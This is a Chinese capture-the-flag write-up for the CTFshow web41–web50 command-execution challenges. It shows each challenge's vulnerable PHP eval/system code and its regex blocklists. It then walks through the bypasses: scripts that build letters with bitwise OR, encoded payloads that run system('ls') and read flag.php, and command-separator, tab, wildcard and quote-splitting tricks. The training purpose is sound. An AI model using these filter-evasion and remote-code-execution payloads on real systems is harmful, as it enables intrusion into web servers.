web41
代码审计
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
过滤了:[0-9] [a-z] ^ + ~ $ [ ] { } & -
这次字母过滤了,字符不是很多
思路:通过特殊字符来构造字母从而实现代码执行
这里根据题目提示已经给了一篇博客
https://blog.csdn.net/miuzzx/article/details/108569080
第一个脚本运行结果是
<?php
$myfile = fopen("rce_or.txt", "w");
$contents="";
for ($i=0; $i < 256; $i++) {
for ($j=0; $j <256 ; $j++) {
if($i<16){
$hex_i='0'.dechex($i);
}
else{
$hex_i=dechex($i);
}
if($j<16){
$hex_j='0'.dechex($j);
}
else{
$hex_j=dechex($j);
}
$preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i';
if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
echo "";
}
else{
$a='%'.$hex_i;
$b='%'.$hex_j;
$c=(urldecode($a)|urldecode($b));
if (ord($c)>=32&ord($c)<=126) {
$contents=$contents.$c." ".$a." ".$b."\n";
}
}
}
}
fwrite($myfile,$contents);
fclose($myfile);
解释一下是怎么得来的
eg:A %40 %01
十六进制的40=十进制的64=二进制0100 0000
十六进制的01=十进制的01=二进制0000 0001
二者进行或运算
0100 0000
0000 0001
0100 0001 等于十进制65
十进制65对应的ascii码中A
如构造一个 (system)('ls')
("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%00%0c%13%00"|"%27%60%60%27")
其中 %13|%60=s %19|%60=y %14|%60=t
很明显可以看出来就是将前半部分组合到一起 | 后半部分组合到一起
不理解的话可以具体去看一下这个网址带着的表
在线进制转换 - 码工具
运行结果
参考:《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客
找到了另一篇参考
下面可以直接修改ls
python脚本可以直接出编码,就不用手打了
import re
import urllib
from urllib import parse
hex_i = ""
hex_j = ""
pattern='/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'
str1=["system","ls"]
for p in range(2):
t1 = ""
t2 = ""
for k in str1[p]:
for i in range(256):
for j in range(256):
if re.search(pattern,chr(i)) :
break
if re.search(pattern,chr(j)) :
continue
if i < 16:
hex_i = "0" + hex(i)[2:]
else:
hex_i=hex(i)[2:]
if j < 16:
hex_j="0"+hex(j)[2:]
else:
hex_j=hex(j)[2:]
hex_i='%'+hex_i
hex_j='%'+hex_j
c=chr(ord(urllib.parse.unquote(hex_i))|ord(urllib.parse.unquote(hex_j)))
if(c ==k):
t1=t1+hex_i
t2=t2+hex_j
break
else:
continue
break
print("(\""+t1+"\"|\""+t2+"\")")
这里加了换行
用bp抓包
学习了大佬的方法,刚开始我bp抓包总是抓不到,于是用
open browser试了一下成功了
转为 post 请求来传递一下参数 发给重发器
添加下面的参数,ls显示目录
(system)(ls)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%0c%13"|"%60%60")
"system""cat flag.php"
(system)(cat flag.php)
c=("%13%19%13%14%05%0d"|"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%00%10%08%10"|"%60%60%60%20%60%60%60%60%2e%60%60%60")
ctfshow{4f59f180-57f0-4d24-8fac-d9ddca4e608d}
小结一下这题:
由于过滤了字母,我们需要用字符来构成字母,根据题目提示用或运算构造字符,具体怎么构造参考上面的eg
理解了是怎么构造的,用脚本构造即可
bp抓包,用post构造参数,传参即可
参考资料:
CTFshow wbe41 教你写脚本_ctfshow web41-CSDN博客
另一个参考资料的另一种方法有点看不懂
《CTFshow-Web入门》05. Web 41~50_ctfshow web41-CSDN博客
system('ls')
('system')('ls')
(system)('ls')
('system')(ls)
是一样的,都可以执行
web42
提示:
cat flag.php%0a 查看源代码
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
代码分析:
system($c." >/dev/null 2>&1");: 使用PHP的system()函数执行用户提供的命令。在这里,用户提供的命令被附加到>/dev/null 2>&1,这个部分的作用是将命令的输出和错误重定向到/dev/null,这样就不会将输出发送到Web页面上
直接用提示上的
方法1
?c=cat flag.php ||
没有回显,在源代码
/?c=cat flag.php ||
方法2
直接让拼接的命令换行。
/?c=cat flag.php %0a
方法3
更容易理解
执行/?c=ls无回显
执行/?c=ls;ls
叫双写绕过,因为;的分割,此处是将第二个ls写入黑洞了
/?c=tac flag.php;(tac反向输出)
此处主要是分号起到了分割的作用,与前面大同小异
原理:
>/dev/null 2>&1 命令简单理解 表示不回显。
/dev/null 文件描述符,往里面写的所有数据都不会保存,也就是将返回结果写到黑洞里面
也就是c参数的所有返回结果是不显示的
Shell脚本———— /dev/null 2>&1详解 - Tinywan - 博客园
讲的更详细
要让命令回显,可以进行命令分隔,以此来绕过:
; 分号
| 只执行后面那条命令
|| 只执行前面那条命令
& 两条命令都会执行
&& 两条命令都会执行
或者直接使用 %0a(换行符,url 编码)将其分隔。
我的只有; || %0a能在源码中看到
web43
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在web42的基础上,正则表达式过滤了; cat
方法1
可以看到提示:
nl flag.php%0a 查看源代码
确实出来了
/?c=nl flag.php%0a
/?c=nl flag.php%0a
换一个命令,且使用换行符的 url 编码让 >/dev/null 2>&1 换行
方法2
执行/?c=ls&&ls
用两个&起到命令分割的作用代替;
&& 前也就是第一个命令执行成功后才会执行第二个命令
第二个命令输出黑洞
用的时候要进行url编码
/?c=ls%26%26ls
/?c=tac flag.php%26%26ls
/?c=tac flag.php%26%26ls
ctfshow{9190daf7-1b68-4c22-b21b-0c4c87f2e767}
web44
提示:
nl fla*.php%0a 查看源代码
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
在web42的基础上,正则表达式过滤了; cat flag
简单的通配符绕过(通配符就是代表任意字符,虽然flag被过滤了,也可以用通配符过滤出来)
方法1:
使用提示的方法
/?c=nl fla*.php%0a
源码里有
方法2:
/?c=ls %26%26ls
(记得两个&&要进行url编码)
/?c=tac fla*.php %26%26 ls
方法3
/?c=tac fl''ag.php ||
web45
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了; cat flag 空格
直接试一下前面的方法(试了不行)
发现一个很好的思路:将空格进行url编码
空格对应的url编码是%20,试一下发现也不行
引入ascii码表的水平制表符
ASCII码一览表,ASCII码对照表
有一个作用是 分隔字段:在某些文件格式(如CSV)中,水平制表符可以用作字段之间的分隔符,以便在数据中区分不同的字段。
%09(tab)
/?c=tac%09fla*.php||
web46
提示
nl<fla''g.php||
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了; cat flag 空格 [0-9] $ *
过滤了数字,编码方式就不行了
用提示的方法
/?c=nl%3Cfla''g.php||
%3C是<的url编码
/?c=nl%3Cfla''g.php||
源代码
到这里时我有一个疑问:明明数字被过滤了,为什么水平制表符%09还可以继续代替空格使用?
解释: 其中,[0-9]表示匹配任何一个数字字符。正则表达式中的|表示逻辑或的关系,即满足其中一项条件即可匹配。由于正则表达式中没有明确指定对水平制表符的过滤,因此在过滤的逻辑中会被忽略。
在使用时,url会自动解码就没有数字了,解码后就是水平制表符
方法2
/?c=tac%09fl''ag.php||
/?c=tac%09fl''ag.php||
也可以fla? fl?g等
web47
提示:
nl<fla''g.php||
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了:; cat flag 空格 [0-9] $ * more less head sort tail
比web46多了一些文件读取命令,但未过滤tac
用web46的payload
/?c=tac%09fl''ag.php||
其他命令同理
web48
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl `
同web47,用web46的payload
/?c=tac%09fl''ag.php||
说明在linux下读取文件的命令有很多,过滤那么多,少一个都不行
web49
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` %
这里虽然过滤了%,但我们的%09会被url解码为水平制表符
同web47,用web46的payload
/?c=tac%09fl''ag.php||
web50
代码审计
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
过滤了:; cat flag 空格 [0-9] $ * more less head sort tail sed cut awk strings od curl ` % x09 x26
可以看到x09和%都被过滤了
/?c=tac<>fl''ag.php||
/?c=tac<>fl''ag.php||
/?c=nl<fl''ag.php||
小结:liunx下读取命令的方式有很多种,这些不是唯一的解法,掌握的解法越多,对命令运用会更熟练